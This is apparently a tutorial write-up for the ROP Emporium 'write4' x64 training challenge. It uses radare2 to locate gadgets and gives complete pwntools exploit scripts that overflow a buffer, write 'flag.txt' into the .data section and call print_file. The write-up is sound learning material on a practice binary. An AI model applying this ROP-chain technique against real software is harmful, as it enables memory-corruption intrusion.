ROP Emporium write4 Writeup (x64)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the fourth challenge of eight.
According to the challenge page our goal is to call print_file()
with the name of the file to read as the first argument. The string flag.txt
doesn’t exist in the binary, so we will need to write it there ourselves!
This is what a hint will look like!
Exploit Crafting
The offset for x64
challenges will be 40 bytes
. If you want to know how to find this value see the first writeup for this series.
Write Gadget
Check out
usefulFunction
’s assembly
Using radare2
we can analyze a binary by running aaa
. We will need to write flag.txt
to memory so let’s check the usefulGadgets
section in usefulFunction
We can view the assembly with the following commands
1
2
3
s sym.usefulFunction
V
p
The mov
instruction will set the value from r15
(8 byte qword) into the dereferenced address set in r14
. This is what we’ll use to write to memory! The gadget address is 0x00400628
Mov Arguments
Find a gadget to control
r14
andr15
along with a writable program segment
Now we need to find a gadget which can control r14
and r15
to control what to write and where to write it. We can use the /R
command to search for gadgets
1
/R pop r14
There are a few which come up but might as well use this one. Remember we can control where we jump so we can skip the pop rbp
instruction entirely! The address we’ll use to set r14
and r15
is 0x0x00400690
Now that we can control where to write and what to write, where and what should we write? We want to open flag.txt
so we’ll set that into r15
. But we need to find a suitable location to write to. We can view writable sections with the command iS
We need to find a section with the w
permission and a size of at least 8 bytes (0x08). Let’s use the .data
section which has the address 0x00601028
The python code to write data to an address looks like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/python3
from pwn import *
# useful addresses
write_gadget = 0x00400628 # mov qword [r14], r15
pop_r14_r15 = 0x00400690
data_addr = 0x00601028
# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
payload = b''
# write every 8 bytes of a string
for i in range(0, len(s), 8):
# address to write to
r14 = p64(addr + i)
# prevent slice out of bounds
j = i+8
if j >= len(s):
j = len(s)
# 8 bytes to write
r15 = p64(int.from_bytes(s[i:j], 'little'))
# set mov args
payload += p64(pop_r14_r15)
payload += r14
payload += r15
# write bytes
payload += p64(write_gadget)
return payload
print_file()
Find the
print_file
address and a gadget which sets therdi
register
First let’s find the address of print_file()
using the command afl
print_file
is part of a library so we can just use the address of corresponding plt
entry, 0x00400510
Now we need to set the first argument to this function. According to the x64 calling convention, the first argument of a function is passed through the rdi
register. Let’s find a gadget to control it
1
/R pop rdi
Perfect! Our gadget address is 0x00400693
Exploit
We finally have everything to build the final exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/python3
from pwn import *
# useful addresses
write_gadget = 0x00400628 # mov qword [r14], r15
pop_r14_r15 = 0x00400690
data_addr = 0x00601028
print_file_addr = 0x00400510
pop_rdi = 0x00400693
# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
payload = b''
# write every 8 bytes of a string
for i in range(0, len(s), 8):
# address to write to
r14 = p64(addr + i)
# prevent slice out of bounds
j = i+8
if j >= len(s):
j = len(s)
# 8 bytes to write
r15 = p64(int.from_bytes(s[i:j], 'little'))
# set mov args
payload += p64(pop_r14_r15)
payload += r14
payload += r15
# write bytes
payload += p64(write_gadget)
return payload
# create payload
payload = b'A' * 40
# write flag.txt to data section
payload += write_str(data_addr, b'flag.txt')
# call print_file(flag_txt_addr)
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(print_file_addr)
# send payload + receive flag
io = process('./write4')
io.recvline()
io.send(payload)
io.recvuntil(b'Thank you!\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))
Conclusion
In this challenge we learned how to write arbitrary data to memory. By this point we should be relatively comfortable finding and chaining gadgets together. Next we’ll learn how to deal with forbidden characters in our payload.